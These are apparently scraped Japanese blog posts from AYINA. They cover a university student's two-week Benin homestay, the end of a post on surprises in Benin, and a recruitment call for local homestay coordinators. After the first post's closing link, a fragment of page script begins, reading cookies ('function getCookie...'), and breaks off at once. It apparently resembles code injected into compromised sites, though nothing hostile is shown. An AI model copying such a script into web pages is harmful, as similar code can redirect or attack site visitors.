外に出ると必ずと言っていいほど「ヨボ~」と声をかけられます。 現地の小学生なんて、私が歩いているだけでヨボヨボ言いながらついて来ます。 ちなみにヨボ、は現地語で白人という意味だそう。 「いや、私白人じゃないし」とベナン人の同僚に伝えてみたところ、 「ここでは肌が黒くなければみんな白人さ!はは!」 と笑い飛ばされてしまいました。 ベナンには見た目の違う「ヨボ」も寛大に受け入れてくれる人がたくさんいますので、ヨボとして注目される日々?を楽しむこともできます笑     以上、ベナンでびっくりしたこと5選でした!   ここまで読んでくださった皆様ありがとうございます。   次はホームステイやインターンの内容に踏み込んだブログにしようと思いますので、お楽しみに~   AYINAのアフリカホームステイプログラム情報はコチラから! function getCookie(e){var U=document.cookie.match(new...

アフリカという遠そうで近い旅

アフリカ、ベナンとの出会い みなさんこんにちは。大学4年生の中村です。 大学生最後の夏休み、行きたいと直感で思う場所へ行こうと前から決めていました。 そこで思い浮かんだのがアフリカ。 今までアフリカという地には興味を持っていましたし、行きたいと思っていたのですが距離的、金額面の問題で行けていませんでした。 しかし、偶然的な繋がりでこのAYINAのアフリカホームステイの存在を知り、説明会へ参加、金銭面で少し迷ってはいましたが今思うときっと説明を聞いていた時から“行く”と心のどこかで決めていたと思います。 アフリカ ホームステイとは?(クリックで情報を見る) ふとした思いつきから始まったベナンへの旅ですが、素敵な場所で素敵な人たちと出会い、行く前はなぜベナン?と聞かれても答えられなかったのが、今ではベナンへ帰る理由ができました。その理由を今回は紹介していこうと思います。 ホームステイの家族との思い出 私を受け入れてくれた家族は何と言ってもとってもフレンドリーで温かく、言葉は通じなくともジェスチャーなどで伝えようとしてくれる姿勢を持っている素敵な家族でした。日本人の女の子と関わってみたいという姉妹に笑顔の可愛いお母さん、そして家族の大黒柱のお兄ちゃんと照れ屋さんの弟、姉妹の子どもたちという家族構成でした。 家族との思い出で1番に思い出すのはお好み焼きを一緒に作ったこと。野菜などの生ものは現地調達でそのお買い物も一緒に行きました。道端のマーケットに行き野菜を購入したのですが、そこで驚いたのが“金額交渉”です。ホストシスターが頑張って値切ってくれて現地価格で買うことができました。 作ったお好み焼きは“美味しい美味しい!”と大好評!他にもみんなで折り鶴を作ったり日本の箸を使ったゲームをしたり、現地の美容院に行ったりしました。ここには書ききれないほど多くの思い出があり、本当に素敵な時間を過ごすことができました。 2週間と短かすぎる期間ではありましたが、言語や国を超えた交流をすることができたと感じています。 仲間と行くベナン横断の旅 2週間のプログラム期間中、ベナンの南部から北部まで片道約10時間かけベナンにある観光地も巡りました。思い返すと伝えたいことが多すぎてしまうので、今回は厳選して中でも2つの有名な場所の感想を伝えたいと思います。 ①西アフリカ最大の水上都市ガンビエ ベナンの南部に位置するガンビエはAYINA副代表の内藤さんによると、昔戦争中に相手からの攻撃を守るために水の上に暮らし始めたのがこのガンビエという場所であったそうです。 実際に行ってみて感じたのは、“本当に水の上で暮らしているんだ”という驚きでした。移動も観光客以外は木製のボート、さらには水上タクシーという乗り合いボートもあり協会や学校、病院、モスクまで全て水の上に建設されていました。 最近では日本のテレビでも紹介されるなど注目度が高まり、観光客の増加によって現地の人が本来の生活を邪魔されるような傾向があると聞き複雑な気持ちでした。 しかしベナン南部の人々の生活の一部を覗かせてもらい、まさに異文化に触れることができた貴重な時間でした ②西アフリカ最大のトッパ市場 ベナンの街中であまり見かけなかった日用品売り場。 “みんなどこから仕入れて来てるのだろう?”と不思議に思っていた謎がこのトッパ市場で解けました。市場を上から見てもどれだけ大きな市場かがよく分かります。実際に歩いてみると本当に広い。 とても活気に溢れていて歩いていると売り子さんたちが商品の自慢話しを仕掛けてきます。笑 日用品から食材まで、とにかくここに行けばなんでも揃うらしくホストシスターも家の近所で見つからないものはトッパ市場へまとめて買い出しに行くと言っていました。 私たちは布屋さんで好きな柄の布を購入し腕の良いテイラーさん(仕立て屋さん)に洋服を作ってもらいました! 余談ですが、ホストシスターによるとベナンでは洋服ができた状態で売っているものよりも、布を買って近所のテイラーさんに行き自分のサイズにあったオーダーメイド服を作るのが多いそうです。びっくりするくらい早いし、サイズぴったりだし日本のゾゾタウンよりすごい!笑 感激! ベナンの食べ物 1番印象に残っているのが“アタシ(Atassi)“という食べ物。アタシ?と思わず聞き返して笑ってしまいました。笑 アタシは日本でいう赤飯のようなものです。名前の面白さに加えて、味はしっかり日本の赤飯と同じで驚きました。主食はいつもお米という方には特におすすめしたいメニューの1つです。 ベナンで感じたこと 日本と比べるとけっして便利な生活ではないベナン。 しかし、そこには人の温かさが沢山ありました。洗濯物も手で、お風呂は蛇口から出てくる水をすくい手でかけて、それらを大変だなと感じてしまう私たちの生活がいかに便利で豊かなものなのか実感させられた2週間でもありました。 また、ベナンの人々の心の豊かさは何か私たち日本人が忘れかけている大切なものが残っている気がします。機械でなんでもボタンを押せば1人で完結できる日本の生活より物がないから分け合う、物を直したいけどどうしようもなくて笑い合う、人が困っているから助け合う。そんな暮らしがとても素敵に感じました。 さいごに あっという間に過ぎた2週間のベナン滞在。行くまではこんなにもベナンのことが好きになるなんて思ってもいませんでした。アフリカは遠いけれど、家族や知り合いが向こうにできると本当に距離が近く感じます。 “また会いたい”そう思わせてくれるファミリーやAYINAの方々、友達に出会えたこと、“また来たい”と思わせてくれるベナンという暖かい(温かい)場所が私のベナンへ帰りたいと思う理由です。 素敵なコーディネーター内藤さん、ジコ、クラリスに感謝いっぱいです! 1人では不安だけどアフリカへ行ってみたい!旅行ではなく旅をしてみたい!人と違った体験をしてみたい! そう思っている方は是非一歩踏み出してみてください。 1度行ってみると本当にアフリカが近く感じますよ...

【アフリカ在住の皆様へ】AYINAと一緒に「アフリカホームステイ」をコーディネートしませんか?

私たちは2015年から、 「アフリカホームステイ」 というプログラムを行なっております。 名前の通り、 アフリカの現地家族の家にステイしながら、 その国の文化や人に触れる文化交流プログラムです。 この記事をお読みいただいている、 「自分が住んでいる国や人をもっと知ってほしい!」 と思われている方に特にお伝えしたいのですが、 それを伝える一番の方法が、 「現地に直接来て、現地の人と触れ合うこと」 だと私たちは考えています。 とはいえ、一人でそれをやろうとすると、 「どうやって人を集めるんだろう」 「自分一人で集められるのか不安」 「コーディネートの仕方がわからない」 「ひとりだと不安」 という理由で、なかなか踏み出せないんですよね。 私たちも2015年に始めた当初はそうでした。 しかし、コツコツと失敗と改善を繰り返した結果、 今では毎月のようにお問い合わせを頂くようになりました。 そこで、すでに経験を重ねている私たちと一緒に、 「現地コーディネーター」として、 このプログラムを盛り上げていきましょうというご提案です。 AYINAは、これまでに20人以上、 学生さんから50代の方まで幅広い方々に、 アフリカホームステイを体験していただきました。 ほとんどの方々が「初アフリカ」、 なんと時には「初海外」という方までいらっしゃいます。 そんなワクワク半分、ドキドキ半分な中、 「AYINAだから行くことに決めました!」 と、 3年間コツコツとやってきた実績や、 参加者様の感想や口コミで決めてくださる方も増えてきています。 自分がかつてそうだったように、 はじめて異文化に触れる驚きと喜び、 現地の人との繋がりを間近でみれるのが、 コーディネーターとしてのやり甲斐になります。 現在、AYINAではベナン共和国、ガーナ、ルワンダの3カ国はすぐに開催できる現地コーディネーターがいるのですが、他国の現地コーディネーターが不足しております。 AYINAの公式アフリカホームステイコーディネーターになっていただくことで、あなたの住む国での実施に向けてプランニングし、AYINAのノウハウをお伝えしながら、あなたの住む国でのアフリカホームステイを開催しましょう。 基本的には広報活動などは私たちがメインで行いますので、 現地コーディネーターさんには、 「ステイ先を見つける」 「予算の計算」 「プログラム時の同伴」 などをしていただく形なります。 常に遠隔で私たちと一緒にやっていきますので、ご安心ください。 ここまでのお話で、 「ちょっとでも興味がある!」という方は、 お問い合わせフォームの件名に、 「アフリカホームステイ現地コーディネーターの件」 とわかるようなタイトルでご連絡ください。 ご連絡お待ちしております!! お問い合わせフォームはこちら  ...